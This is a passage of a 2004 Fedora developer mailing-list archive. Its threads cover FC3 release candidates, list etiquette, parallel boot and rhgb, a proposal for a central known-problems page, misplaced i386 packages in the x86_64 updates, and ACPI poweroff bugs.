(Jeff Pitman) Date: Fri, 22 Oct 2004 22:17:36 +0800 Subject: Paralell startup In-Reply-To: <20041022124209.GF26196@redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098403815.10751.2.camel@localhost.localdomain> <20041022124209.GF26196@redhat.com> Message-ID: <200410222217.36218.symbiont@berlios.de> On Friday 22 October 2004 20:42, Daniel Veillard wrote: > ? Well communication goes both ways for example to be able to get > user input in kudzu. I think if we're talking about getting into X ASAP, then I think the whole kudzu thing needs to be rehashed. Maybe only check for graphics card changes prior to bringing up X and then having a GUI after X is up for all other devices. take care, -- -jeff From mpeters at mac.com Fri Oct 22 14:56:45 2004 From: mpeters at mac.com (Michael A. Peters) Date: Fri, 22 Oct 2004 14:56:45 +0000 Subject: Messages to List - please don't reply to start Message-ID: <1098457005l.11536l.1l@devel.mpeters.us> There seem to be a number of e-mails sent to the lists that are new messages but are sent as a reply to other messages - like people are choosing the "reply to" option, and then just replacing the subject with something new and then putting something new in the body. Please do not do this. Add the appropriate mailing list to your address book and start a new message. When a message comes from the list, there is a header with a message ID in it. The header is called Message-ID. When you reply, your mail client sends the message specifying that it is in response to that Message-ID. This means that people who use e-mail clients that offer a threaded view, your message will end up looking like a response to a message rather than a completely new message. The result is that less people will see your message, because some will not be interested in the particular e-mail you responded to to create your message, resulting in them not bothering to look at responses. It also is a pain for those who are eager to see responses to a particular thread, because then your completely different message shows up in there. With both Evolution and Balsa, and I assume with kmail too, it is trivial to add the mailing list to your address book. If you are having trouble doing so with your mail client, a question to the Fedora Users list can help out. From mpeters at mac.com Fri Oct 22 15:07:41 2004 From: mpeters at mac.com (Michael A. Peters) Date: Fri, 22 Oct 2004 15:07:41 +0000 Subject: [off-topic] Thanks Red Hat and others In-Reply-To: <1098450429.9254.44.camel@localhost.localdomain> (from feliciano.matias@free.fr on Fri Oct 22 06:07:08 2004) References: <1098449525.9254.35.camel@localhost.localdomain> <1098450429.9254.44.camel@localhost.localdomain> Message-ID: <1098457661l.11536l.2l@devel.mpeters.us> On 10/22/2004 06:07:08 AM, Matias F?liciano wrote: > Le vendredi 22 octobre 2004 ? 14:52 +0200, Matias F?liciano a ?crit : > > - many other pieces of software (I don't have the skin to comment). > > - ... > > Forget : gstreamer/totem/theora (and HelixPlayer). Not perfect but a > very good start. > > For the _first_ time Red Hat/Fedora come with a video player :-) Absolutely - the gstreamer-backend to Totem has _really_ improved - I'm very happy. From symbiont at berlios.de Fri Oct 22 15:10:53 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Fri, 22 Oct 2004 23:10:53 +0800 Subject: Messages to List - please don't reply to start In-Reply-To: <1098457005l.11536l.1l@devel.mpeters.us> References: <1098457005l.11536l.1l@devel.mpeters.us> Message-ID: <200410222310.53545.symbiont@berlios.de> (Someone will need to moderate this on Test and User lists) On Friday 22 October 2004 22:56, Michael A. Peters wrote: > I assume with kmail too In kmail, after receiving your first message, I recommend: 1. Create a new sub-folder in Local Folders named after the list. 2. Right click on message and select Create Filter > Filter on Mailing-List ... 3. Select the new sub-folder inside of Filter Actions. 4. CTRL-J on message to test new filter rule. Then! 1. Right click on new sub-folder, called "fedora-devel" or whatever, and select Properties. 2. Click on "Mailing List" tab. 3. Check "Folder Holds Mailing List". 4. Click "Detect Automatically". 5. Click OK. Middle-click on the new sub-folder now opens a new message to the mailing list. Hitting "L" in the message view pane will respond to that specific message replying only to the mailing list. (My favorite, because it makes filtering cleaner.) HTH, -- -jeff From tamaster at pobox.com Fri Oct 22 15:57:34 2004 From: tamaster at pobox.com (Greg Houlette) Date: Fri, 22 Oct 2004 10:57:34 -0500 Subject: [OT] Skeleton at the (fedora-extras-announce-list) moderator's keyboard ;p Message-ID: <1098460654.20220.18.camel@mystra.mil_smarthomes> I apologize in advance for adding to your e-mail load. > Your mail to 'fedora-extras-announce-list' (@redhat.com) [...] > Is being held until the list moderator can review it for approval. > The reason it is being held: > Post to moderated list > Either the message will get posted to the list, or you will receive > notification of the moderator's decision. How long should this normally take? Could someone kick the Moderator under the table? --- This list is mentioned in the Fedora Wiki as the place to post new (extras) package announcements. I know that the list is active because I can subscribe to it, but the archives are empty: http://www.redhat.com/archives/fedora-extras-announce-list/ This list is moderated, so is there a warm body assigned? The old list at: http://www.fedora.us/pipermail/fedora-package-announce/ hasn't seen any traffic since mid August (AFAICT), so it seems like Fedora extras package announcements are in a 'Black Hole', unless there is another list somewhere that I don't know about yet. What's up? I have a new extras package that I want to announce (rkhunter) so that it can get some valuable run-time on a larger population of users. ________________________________________________________________________ Greg Houlette Tek Armory Master Chef A LISP programmer knows the value of everything, but the cost of nothing. -- Alan Perlis From gemi at bluewin.ch Fri Oct 22 16:32:30 2004 From: gemi at bluewin.ch (=?ISO-8859-1?Q?G=E9rard?= Milmeister) Date: Fri, 22 Oct 2004 18:32:30 +0200 Subject: Official list of major problems Message-ID: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> It would be nice to have a list of major problems in the various releases of FC, preferably on fedora.redhat.com. Two problems that come to my mind are: 1. cdrecord doesn't work with kernel 2.6.8 2. OpenOffice doesn't display cups properties dialog I had to search through bugzilla and newsgroups to find out why a something didn't work and I would have been glad to have a central location to look up problems. For each problem, there should be an explanation, a fix if one is available, when the problem will be fixed, or if there is already update of the package concerned. For example for: 1. there would be the advice to use kernel 2.6.7 instead 2. there would be the notice that the updated package version 1.1.2 is already available. -- G?rard Milmeister Langackerstrasse 49 8057 Z?rich gemi at bluewin.ch From shahms at shahms.com Fri Oct 22 17:10:25 2004 From: shahms at shahms.com (Shahms King) Date: Fri, 22 Oct 2004 10:10:25 -0700 Subject: Official list of major problems In-Reply-To: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> Message-ID: <1098465025.2791.52.camel@shahms.mesd.k12.or.us> On Fri, 2004-10-22 at 18:32 +0200, G?rard Milmeister wrote: > It would be nice to have a list of major problems in the various > releases of FC, preferably on fedora.redhat.com. > > Two problems that come to my mind are: > 1. cdrecord doesn't work with kernel 2.6.8 > 2. OpenOffice doesn't display cups properties dialog > > I had to search through bugzilla and newsgroups to find out why a > something didn't work and I would have been glad to have a central > location to look up problems. > > For each problem, there should be an explanation, a fix if one is > available, when the problem will be fixed, or if there is already update > of the package concerned. > For example for: > 1. there would be the advice to use kernel 2.6.7 instead > 2. there would be the notice that the updated package version 1.1.2 is > already available. I think your "I had to search through bugzilla" is the answer, actually. Unfortunately, the bugzilla search interface is pretty complicated and frequently doesn't return the expected results. It is possible to get a list of "major problems from FC X" out of bugzilla, but tuning the query to give you a sufficiently small number of results to be useful and still capture the most relevant ones is less than trivial. -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From dcbw at redhat.com Fri Oct 22 17:11:53 2004 From: dcbw at redhat.com (Dan Williams) Date: Fri, 22 Oct 2004 13:11:53 -0400 Subject: Official list of major problems In-Reply-To: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> Message-ID: <1098465113.411.5.camel@dcbw.boston.redhat.com> On Fri, 2004-10-22 at 18:32 +0200, G?rard Milmeister wrote: > Two problems that come to my mind are: > 1. cdrecord doesn't work with kernel 2.6.8 > 2. OpenOffice doesn't display cups properties dialog I don't really consider this a bug, other than perhaps integration bug. What loss of functionality do you have here, what's _not_ present in the OOo Printer Properties dialog that _is_ present in the CUPS printer properties dialog? What specific functionality is missing? Dan From dwmw2 at infradead.org Fri Oct 22 17:21:27 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Fri, 22 Oct 2004 18:21:27 +0100 Subject: Messages to List - please don't reply to start In-Reply-To: <1098457005l.11536l.1l@devel.mpeters.us> References: <1098457005l.11536l.1l@devel.mpeters.us> Message-ID: <1098465686.13633.1395.camel@hades.cambridge.redhat.com> On Fri, 2004-10-22 at 14:56 +0000, Michael A. Peters wrote: > With both Evolution and Balsa, and I assume with kmail too, it is > trivial to add the mailing list to your address book. If you are having > trouble doing so with your mail client, a question to the Fedora Users > list can help out. In Evolution it's even easier -- just clicking on the mailing list's address in the mail you're looking at will compose a new mail to the list, without the In-Reply-To: and References: headers. You don't even need to add it to your address book. Personally, I prefer to configure my lists to trap mail for moderation if it either has 'Re:' in the subject and no References: or In-Reply-To: header, or one of the headers but not 'Re:'. -- dwmw2 From gemi at bluewin.ch Fri Oct 22 18:03:28 2004 From: gemi at bluewin.ch (=?ISO-8859-1?Q?G=E9rard?= Milmeister) Date: Fri, 22 Oct 2004 20:03:28 +0200 Subject: Official list of major problems In-Reply-To: <1098465113.411.5.camel@dcbw.boston.redhat.com> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> Message-ID: <1098468208.21546.5.camel@scriabin.tannenrauch.ch> On Fri, 2004-10-22 at 19:11, Dan Williams wrote: > On Fri, 2004-10-22 at 18:32 +0200, G?rard Milmeister wrote: > > Two problems that come to my mind are: > > 1. cdrecord doesn't work with kernel 2.6.8 > > 2. OpenOffice doesn't display cups properties dialog > > I don't really consider this a bug, other than perhaps integration bug. > What loss of functionality do you have here, what's _not_ present in the > OOo Printer Properties dialog that _is_ present in the CUPS printer > properties dialog? What specific functionality is missing? > > Dan I have not meant to be a bug list, but a problem list. It shouldn't contain every bug that appears, but only those that are likely to occur for the average user. If I click on the properties button, I expect a dialog to appear. If it doesn't I wonder what's the problem. So I want to have a place to look for these issues. If it doesn't appear there I can still search bugzilla. But I don't want to search bugzilla and read to all the commentaries to find the reason and the potential fix buried therein. For example the cdrecord and kernel 2.6.8 problem. There are several places on the web where users ask the question, sometimes there is no information about the correct reason of the problem, sometimes there is. Wouldn't be nice to have a complete description and resolution in a central place, so that users could FIRST read these and then look otherwhere. -- G?rard Milmeister Langackerstrasse 49 8057 Z?rich gemi at bluewin.ch From xose at wanadoo.es Fri Oct 22 18:09:40 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Fri, 22 Oct 2004 20:09:40 +0200 Subject: Official list of major problems In-Reply-To: <1098468208.21546.5.camel@scriabin.tannenrauch.ch> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> <1098468208.21546.5.camel@scriabin.tannenrauch.ch> Message-ID: <41794CE4.6040200@wanadoo.es> G?rard Milmeister wrote: > For example the cdrecord and kernel 2.6.8 problem. There are several > places on the web where users ask the question, sometimes there is no > information about the correct reason of the problem, sometimes there is. > Wouldn't be nice to have a complete description and resolution in a > central place, so that users could FIRST read these and then look > otherwhere. Somethings are in FAQs: http://www.fedorafaq.org http://www.linuxtx.org/amd64faq.html http://www.linux.org.uk/~davej/docs/fedora-kernel-faq.txt -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From gemi at bluewin.ch Fri Oct 22 18:26:03 2004 From: gemi at bluewin.ch (=?ISO-8859-1?Q?G=E9rard?= Milmeister) Date: Fri, 22 Oct 2004 20:26:03 +0200 Subject: Official list of major problems In-Reply-To: <41794CE4.6040200@wanadoo.es> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> <1098468208.21546.5.camel@scriabin.tannenrauch.ch> <41794CE4.6040200@wanadoo.es> Message-ID: <1098469563.21611.5.camel@scriabin.tannenrauch.ch> On Fri, 2004-10-22 at 20:09, Xose Vazquez Perez wrote: > Somethings are in FAQs: > > http://www.fedorafaq.org > http://www.linuxtx.org/amd64faq.html > http://www.linux.org.uk/~davej/docs/fedora-kernel-faq.txt These faqs are useful, nice and good. But why are spread over the whole world. As I said, if I don't find a solution in the CENTRAL location, I don't mind searching the web, but would like to have at least a starting point with most common issue. I am mostly quite able to find out myself (I use Linux since 1993...), but I care about users that are not as proficient. I know and appreciate the almost-bleeding-edge-ness of FC, but it would be fine if not everyone had to do the same work over and over again. -- G?rard Milmeister Langackerstrasse 49 8057 Z?rich gemi at bluewin.ch From smooge at gmail.com Fri Oct 22 18:29:53 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Fri, 22 Oct 2004 12:29:53 -0600 Subject: Official list of major problems In-Reply-To: <1098469563.21611.5.camel@scriabin.tannenrauch.ch> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> <1098468208.21546.5.camel@scriabin.tannenrauch.ch> <41794CE4.6040200@wanadoo.es> <1098469563.21611.5.camel@scriabin.tannenrauch.ch> Message-ID: <80d7e40904102211295a43a5be@mail.gmail.com> On Fri, 22 Oct 2004 20:26:03 +0200, G?rard Milmeister wrote: > On Fri, 2004-10-22 at 20:09, Xose Vazquez Perez wrote: > > Somethings are in FAQs: > > > > http://www.fedorafaq.org > > http://www.linuxtx.org/amd64faq.html > > http://www.linux.org.uk/~davej/docs/fedora-kernel-faq.txt > > These faqs are useful, nice and good. But why are spread over the whole > world. As I said, if I don't find a solution in the CENTRAL location, I > don't mind searching the web, but would like to have at least a starting > point with most common issue. I am mostly quite able to find out myself > (I use Linux since 1993...), but I care about users that are not as > proficient. I know and appreciate the almost-bleeding-edge-ness of FC, > but it would be fine if not everyone had to do the same work over and > over again. > How about taking the time to put all those faq's and documents into a tar ball that could then be put in a central location? -- Stephen J Smoogen. CSIRT/Linux System Administrator From richardl at redhat.com Fri Oct 22 18:31:17 2004 From: richardl at redhat.com (Richard Li) Date: Fri, 22 Oct 2004 14:31:17 -0400 Subject: Official list of major problems In-Reply-To: <1098469563.21611.5.camel@scriabin.tannenrauch.ch> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> <1098468208.21546.5.camel@scriabin.tannenrauch.ch> <41794CE4.6040200@wanadoo.es> <1098469563.21611.5.camel@scriabin.tannenrauch.ch> Message-ID: <417951F5.2050002@redhat.com> >These faqs are useful, nice and good. But why are spread over the whole >world. As I said, if I don't find a solution in the CENTRAL location, I > > Wouldn't listing the common problems be a denormalization of what's already in Bugzilla? Not to mention that you have the problem of defining what "common" and "problem" are. As already noted in this thread, what one person perceives as a problem might not be perceived by another as a problem. And what's "common"? Define it too narrowly, and your list isn't useful to most people. Define it too broadly, then people have to search, and they might as well start going to Bugzilla then. I don't think it's a bad idea, but I think it would take time for someone to do... So, do you have any suggestions as to guidelines on what would go in such a document, and who/how it would get maintained? What's the relationship between this document and the release notes? Richard From gemi at bluewin.ch Fri Oct 22 18:43:12 2004 From: gemi at bluewin.ch (=?ISO-8859-1?Q?G=E9rard?= Milmeister) Date: Fri, 22 Oct 2004 20:43:12 +0200 Subject: Official list of major problems In-Reply-To: <417951F5.2050002@redhat.com> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> <1098468208.21546.5.camel@scriabin.tannenrauch.ch> <41794CE4.6040200@wanadoo.es> <1098469563.21611.5.camel@scriabin.tannenrauch.ch> <417951F5.2050002@redhat.com> Message-ID: <1098470592.21733.6.camel@scriabin.tannenrauch.ch> On Fri, 2004-10-22 at 20:31, Richard Li wrote: > Wouldn't listing the common problems be a denormalization of what's > already in Bugzilla? > > Not to mention that you have the problem of defining what "common" and > "problem" are. As already noted in this thread, what one person > perceives as a problem might not be perceived by another as a problem. > And what's "common"? Define it too narrowly, and your list isn't useful > to most people. Define it too broadly, then people have to search, and > they might as well start going to Bugzilla then. > > I don't think it's a bad idea, but I think it would take time for > someone to do... > > So, do you have any suggestions as to guidelines on what would go in > such a document, and who/how it would get maintained? What's the > relationship between this document and the release notes? > > Richard I understand what you mean. It is not easy to define what should be in and what should be out. However there are issues that many people will encounter rather sooner that later, e.g., the two that I mentioned. A bug in an obscure hardware driver wouldn't qualify for example. I don't know what you mean by "denormalization", but an issue report would be like a summary for one or several bugs/problems present in bugzilla. What I call for is better "information politics". For example I couldn't find any links for the mentioned faq locations on fedora.redhat.com. And why should there be fedora.redhat.com, fedoranews.org, fedorafaq.org, fedoraforum.org instead of one. It is of course desirable to have many supporting websites, but as a point of depart fedora.redhat.com is most important. -- G?rard Milmeister Langackerstrasse 49 8057 Z?rich gemi at bluewin.ch From kyrre at solution-forge.net Fri Oct 22 19:00:51 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 22 Oct 2004 21:00:51 +0200 Subject: [off-topic] Thanks Red Hat and others In-Reply-To: <1098449525.9254.35.camel@localhost.localdomain> References: <1098449525.9254.35.camel@localhost.localdomain> Message-ID: <1098466034.2692.2.camel@kyrre> fre, 22.10.2004 kl. 14.52 skrev Matias F?liciano: > http://nosoftwarepatents.com/phpBB2/viewtopic.php?p=2 > > Many Thanks ;-) > > > FC3 is nice as expected. > - Linux 2.6 is _incredible_, getting better and better (it sucks when > burning CD, I should investigate). > - udev/hal/g-v-m is a must have. Amassing how it get improved during FC3 > test. > - Gnome 2.8 is ... well, you know : "Just works", as I like. > - ext3 is rock solid as usual, faster and got online resizing capability. > - yum : faster (or less slower :-)) > - many other pieces of software (I don't have the skin to comment). > - ... > > I am _very_ happy with FC3. And all is free(dom). > > Thanks all ! > > Sure it's an off-topic message but I feel better now :-) Ill add mine to that! Horay for FC3 and the people who made it possible! Kyrre From kyrre at solution-forge.net Fri Oct 22 19:04:30 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 22 Oct 2004 21:04:30 +0200 Subject: Messages to List - please don't reply to start In-Reply-To: <1098465686.13633.1395.camel@hades.cambridge.redhat.com> References: <1098457005l.11536l.1l@devel.mpeters.us> <1098465686.13633.1395.camel@hades.cambridge.redhat.com> Message-ID: <1098471651.2692.17.camel@kyrre> Just out of curisity: Today i have all my mailing list as vFolders (and threading turned on) - which works great. There are also two "special" vfolders - Unread mail, and No hits. Problem with the last one, is that it captures all those which has has no other vFolders - and one of the possible vFolders is "unread"... Which make it a dumping ground for already-read personal messages. But the unread one's dont come in there. How can i have it ignore the "unread" vfolder? That would make it really usefull, as i get 100-200 mails/day (including mailing lists, this and fedora-test being the most numerous...) Kyrre fre, 22.10.2004 kl. 19.21 skrev David Woodhouse: > On Fri, 2004-10-22 at 14:56 +0000, Michael A. Peters wrote: > > With both Evolution and Balsa, and I assume with kmail too, it is > > trivial to add the mailing list to your address book. If you are having > > trouble doing so with your mail client, a question to the Fedora Users > > list can help out. > > In Evolution it's even easier -- just clicking on the mailing list's > address in the mail you're looking at will compose a new mail to the > list, without the In-Reply-To: and References: headers. You don't even > need to add it to your address book. > > Personally, I prefer to configure my lists to trap mail for moderation > if it either has 'Re:' in the subject and no References: or In-Reply-To: > header, or one of the headers but not 'Re:'. > > -- > dwmw2 From hp at redhat.com Fri Oct 22 19:59:43 2004 From: hp at redhat.com (Havoc Pennington) Date: Fri, 22 Oct 2004 15:59:43 -0400 Subject: Paralell startup In-Reply-To: <20041022124209.GF26196@redhat.com> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> <1098393294.11626.17.camel@localhost.localdomain> <20041021215050.GB20279@nostromo.devel.redhat.com> <1098403815.10751.2.camel@localhost.localdomain> <20041022124209.GF26196@redhat.com> Message-ID: <1098475183.10841.45.camel@localhost.localdomain> On Fri, 2004-10-22 at 08:42 -0400, Daniel Veillard wrote: > On Thu, Oct 21, 2004 at 08:10:15PM -0400, Havoc Pennington wrote: > > You could imagine for example that rhgb is only a "view" that doesn't > > have any interaction with or entanglement with the actual boot process, > > it just watches events about boot progress and displays them. I don't > > know how close that is to true already, but it might be a nice > > Well communication goes both ways for example to be able to get user > input in kudzu. Right, but you could frame the communication as some kind of interface, instead of just connecting kudzu to a tty. Then have real GUI. > > situation. For that matter, maybe rhgb could just become part of gdm, if > > we can get gdm launched early enough instead of at the end. Just > > speculating. > > I don't think we can completely merge both but, integrating part of gdm > functionalities within rhgb, for example to allow login before the boot > finishes is one of the future improvement. > I plan to write down within a couple of weeks how I would like rhgb to > improve and evolve. Parallel startup is only one of the aspects of getting > a shorter and smoother "time to session from boot" which is IMHO the real > design goal. One of the goals. Reliability, good error messages, ability to have GUI controls/questions early on are also worth thinking about perhaps. Havoc From sopwith at redhat.com Fri Oct 22 21:36:29 2004 From: sopwith at redhat.com (Elliot Lee) Date: Fri, 22 Oct 2004 17:36:29 -0400 (EDT) Subject: FC3 release candidate tree - try it, you'll possibly like it! Message-ID: There's a tree available that looks pretty close to what FC3 will be. The main URL is http://testing.fedora.redhat.com/tree/ and there's a mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ Please try to break it. Especially interesting are bugs in the kernel, and any installer bugs resulting from kernel changes. Have fun, -- Elliot We're so busy putting out fires that we don't take time to stop kids from playing with matches. From feliciano.matias at free.fr Fri Oct 22 23:07:49 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 23 Oct 2004 01:07:49 +0200 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: References: Message-ID: <1098486470.9254.60.camel@localhost.localdomain> Le vendredi 22 octobre 2004 ? 17:36 -0400, Elliot Lee a ?crit : > There's a tree available that looks pretty close to what FC3 will be. Perhaps it's a stupid question. This week I try to build my own iso with the latest rawhide snapshot and anaconda-runtime. It's horribly painful and I aborted my try at the step "splittree.py". Am I a real stupid guy to not be able to manage to build my own iso or do Red Hat use some "magics" ? > > The main URL is http://testing.fedora.redhat.com/tree/ and there's a > mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ > > Please try to break it. Especially interesting are bugs in the kernel, and > any installer bugs resulting from kernel changes. > > Have fun, I'll do :-) > -- Elliot > We're so busy putting out fires that we don't take time to stop kids from > playing with matches. > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From russell at coker.com.au Sat Oct 23 04:11:33 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 23 Oct 2004 14:11:33 +1000 Subject: fc3t3: selinux: useradd In-Reply-To: <1098193070.2623.69.camel@lesca.home.solinos.it> References: <1098193070.2623.69.camel@lesca.home.solinos.it> Message-ID: <200410231411.33643.russell@coker.com.au> On Tue, 19 Oct 2004 23:37, Dario Lesca wrote: > I have install fc3t3 and this is some little problem witch I have found: > > 1) If selinux is active is not possible add a new user, not even via > first-boot pannel What error do you get when running useradd from the command line? I'll check out the first-boot panel later. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From bob.deblier at telenet.be Sat Oct 23 06:10:54 2004 From: bob.deblier at telenet.be (Bob Deblier) Date: Sat, 23 Oct 2004 08:10:54 +0200 Subject: QA at Fedora asleep? Many i386 packages in x86_64 FC2 updates Message-ID: <1098511854.3998.13.camel@orion> There's a whole list of i386 packages in the core/updates/2/x86_64 directory (on download.fedora.redhat.com and ftp.belnet.be - please check other mirrors): -rw-r--r-- 103151 Jun 3 16:52 cups-libs-1.1.20-11.1.i386.rpm -rw-r--r-- 103405 Sep 28 16:34 cups-libs-1.1.20-11.3.i386.rpm -rw-r--r-- 103504 Oct 5 17:10 cups-libs-1.1.20-11.4.i386.rpm -rw-r--r-- 487384 Oct 19 15:44 glib2-2.4.7-1.1.i386.rpm -rw-r--r-- 4571957 Oct 19 15:45 gtk2-2.4.13-2.1.i386.rpm -rw-r--r-- 4416526 Sep 15 17:52 gtk2-2.4.7-2.4.i386.rpm -rw-r--r-- 4415614 Sep 16 06:51 gtk2-2.4.7-2.5.i386.rpm -rw-r--r-- 4415644 Sep 23 18:16 gtk2-2.4.7-2.6.i386.rpm -rw-r--r-- 494316 Jun 4 20:50 krb5-libs-1.3.3-7.i386.rpm -rw-r--r-- 495462 Aug 31 20:11 krb5-libs-1.3.4-6.i386.rpm -rw-r--r-- 152706 Jun 18 16:05 libpng-1.2.5-5.i386.rpm -rw-r--r-- 153140 Aug 4 17:38 libpng-1.2.5-8.i386.rpm -rw-r--r-- 197502 Oct 14 18:48 libtiff-3.5.7-20.2.i386.rpm -rw-r--r-- 9416513 Aug 6 00:15 mozilla-1.7.2-0.2.0.i386.rpm -rw-r--r-- 9417523 Sep 22 22:52 mozilla-1.7.3-0.2.0.i386.rpm -rw-r--r-- 168779 Aug 6 00:15 mozilla-chat-1.7.2-0.2.0.i386.rpm -rw-r--r-- 168855 Sep 22 22:52 mozilla-chat-1.7.3-0.2.0.i386.rpm -rw-r--r-- 3430668 Aug 6 00:15 mozilla-devel-1.7.2-0.2.0.i386.rpm -rw-r--r-- 3431150 Sep 22 22:52 mozilla-devel-1.7.3-0.2.0.i386.rpm -rw-r--r-- 129375 Aug 6 00:15 mozilla-dom-inspector-1.7.2-0.2.0.i386.rpm -rw-r--r-- 129476 Sep 22 22:52 mozilla-dom-inspector-1.7.3-0.2.0.i386.rpm -rw-r--r-- 216249 Aug 6 00:15 mozilla-js-debugger-1.7.2-0.2.0.i386.rpm -rw-r--r-- 216304 Sep 22 22:52 mozilla-js-debugger-1.7.3-0.2.0.i386.rpm -rw-r--r-- 1837821 Aug 6 00:15 mozilla-mail-1.7.2-0.2.0.i386.rpm -rw-r--r-- 1837765 Sep 22 22:52 mozilla-mail-1.7.3-0.2.0.i386.rpm -rw-r--r-- 105703 Aug 6 00:15 mozilla-nspr-1.7.2-0.2.0.i386.rpm -rw-r--r-- 105804 Sep 22 22:52 mozilla-nspr-1.7.3-0.2.0.i386.rpm -rw-r--r-- 182713 Aug 6 00:15 mozilla-nspr-devel-1.7.2-0.2.0.i386.rpm-rw-r--r-- 182832 Sep 22 22:52 mozilla-nspr-devel-1.7.3-0.2.0.i386.rpm-rw-r--r-- 642446 Aug 6 00:15 mozilla-nss-1.7.2-0.2.0.i386.rpm -rw-r--r-- 642551 Sep 22 22:52 mozilla-nss-1.7.3-0.2.0.i386.rpm -rw-r--r-- 426276 Aug 6 00:15 mozilla-nss-devel-1.7.2-0.2.0.i386.rpm -rw-r--r-- 426427 Sep 22 22:52 mozilla-nss-devel-1.7.3-0.2.0.i386.rpm -rw-r--r-- 45384012 Oct 21 16:20 openoffice.org-1.1.2-10.fc2.i386.rpm -rw-r--r-- 116156909 Oct 21 16:22 openoffice.org-i18n-1.1.2-10.fc2.i386.rpm -rw-r--r-- 40707893 Oct 21 16:22 openoffice.org-libs-1.1.2-10.fc2.i386.rpm -rw-r--r-- 260729 Oct 7 20:14 pango-1.4.1-1.i386.rpm -rw-r--r-- 4653801 May 7 00:56 redhat-artwork-0.96-1.i386.rpm -rw-r--r-- 14116065 Sep 13 22:16 samba-3.0.7-2.FC2.i386.rpm -rw-r--r-- 5372296 Jul 6 18:42 xorg-x11-devel-6.7.0-5.i386.rpm -rw-r--r-- 5380547 Sep 29 02:16 xorg-x11-devel-6.7.0-9.i386.rpm -rw-r--r-- 2452335 Jul 6 18:42 xorg-x11-libs-6.7.0-5.i386.rpm -rw-r--r-- 2458616 Sep 29 02:16 xorg-x11-libs-6.7.0-9.i386.rpm -rw-r--r-- 338313 Jul 6 18:42 xorg-x11-Mesa-libGL-6.7.0-5.i386.rpm -rw-r--r-- 344304 Sep 29 02:16 xorg-x11-Mesa-libGL-6.7.0-9.i386.rpm -rw-r--r-- 409220 Jul 6 18:42 xorg-x11-Mesa-libGLU-6.7.0-5.i386.rpm -rw-r--r-- 415215 Sep 29 02:16 xorg-x11-Mesa-libGLU-6.7.0-9.i386.rpm This wouldn't be a critical problem, but the corresponding x86_64 versions seem to be missing. What gives? Should I report this on BugZilla - if yes, under what component? Bob Deblier From stfn at gmx.net Sat Oct 23 07:39:19 2004 From: stfn at gmx.net (Stefan Hoelldampf) Date: Sat, 23 Oct 2004 09:39:19 +0200 Subject: poweroff does not turn off the system Message-ID: <417A0AA7.70607@gmx.net> Hi, At least the following four bugs seem to describe the same problem: Bug 132761 "2.6.8 poweroff always fails" Bug 134183 "When exiting the system, the system no longer powers down." Bug 135218 "acpi_power_off doesn't turn off HP Pavillion ZE4201" Bug 136673 "shutdown fails - last message: acpi_power_off called" The last output is Power down. acpi_power_off called but the power is not turned off. Nominating for https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3Blocker Regards, Stefan From fedora_devel_list at poczta.fm Sat Oct 23 08:19:58 2004 From: fedora_devel_list at poczta.fm (Dawid Gajownik) Date: Sat, 23 Oct 2004 10:19:58 +0200 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: References: Message-ID: <417A142E.7080707@poczta.fm> 10/22/2004 11:36 PM, Elliot Lee wrote: > Especially interesting are bugs in the kernel Maybe it's not a critical bug in kernel.spec, but it would be nice to fix it before releasing FC3 (it's an easyfix) :-) https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=130667 -- *_^ ---------------------------------------------------------------------- Startuj z INTERIA.PL!!! >>> http://link.interia.pl/f1837 From Axel.Thimm at ATrpms.net Sat Oct 23 10:59:20 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Sat, 23 Oct 2004 12:59:20 +0200 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: References: Message-ID: <20041023105920.GA17182@neu.nirvana> On Fri, Oct 22, 2004 at 05:36:29PM -0400, Elliot Lee wrote: > There's a tree available that looks pretty close to what 